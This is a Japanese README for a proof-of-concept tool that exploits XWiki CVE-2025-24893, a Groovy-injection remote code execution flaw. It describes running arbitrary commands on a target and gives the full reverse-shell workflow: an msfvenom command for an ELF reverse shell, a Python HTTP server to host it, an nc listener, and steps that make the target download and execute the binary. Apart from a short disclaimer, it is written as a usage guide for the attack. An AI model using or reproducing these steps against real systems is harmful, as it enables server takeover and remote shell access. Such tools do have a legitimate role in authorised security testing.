XWiki CVE-2025-24893 概念実証

著者: Net.Doge & Infinit3i

このPythonスクリプトは、CVE-2025-24893 を悪用します。これは、非同期にレンダリングされるGroovyマクロの不適切なサンドボックス化に起因する XWiki のリモートコード実行（RCE）脆弱性です。RSSベースのSolrSearchエンドポイントへのインジェクションを通じて、任意のコマンド実行を可能にします。

📌 機能

• Groovyインジェクションによる単一コマンド実行
• リバースシェルペイロードの自動生成（msfvenom を使用）
• カスタマイズオプション:
  • リモートターゲット
  • ローカルIPアドレス
  • HTTPサーバーポート
  • リバースシェルビーコンポート
• クリーンなbashペイロードプレビュー
• ANSIカラーコードによるインタラクティブTUI

🚀 使用方法

1. スクリプトをクローンまたはダウンロードします。

2. 次のものがインストールされていることを確認してください:

   • Metasploit の msfvenom
   • Python 3
   • jq（bashペイロードで使用）

3. スクリプトを実行します:

python3 CVE-2025-24893-PoC.py

4. メニューから選択します:

   • コマンド実行 – 任意のシェルコマンドをリモートで実行します。
   • リバースシェル – ELFリバースシェルを生成し、ターゲットに展開します。
   • 設定変更 – LHOST、RHOST、サーバーポート、またはビーコンポートを変更します。

🧪 リバースシェルのワークフロー

1. ペイロードが生成されます:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=<your_ip> LPORT=<beacon_port> -f elf -o rev

2. Python HTTPサーバーとnetcatリスナーを起動するよう求められます:

python3 -m http.server 8080
nc -lvnp 31337

3. スクリプトは以下の一連の操作をターゲットに送信します:

   • ペイロードをダウンロード
   • 実行可能にする
   • バイナリを実行

⚠️ 免責事項

このツールは教育目的および許可を得たテスト目的のみで使用してください。あなたが所有していない、または明示的な許可を得ていないシステムへの不正使用は違法であり、非倫理的です。

📄 参考

• XWiki
• MITRE CVE-2025-24893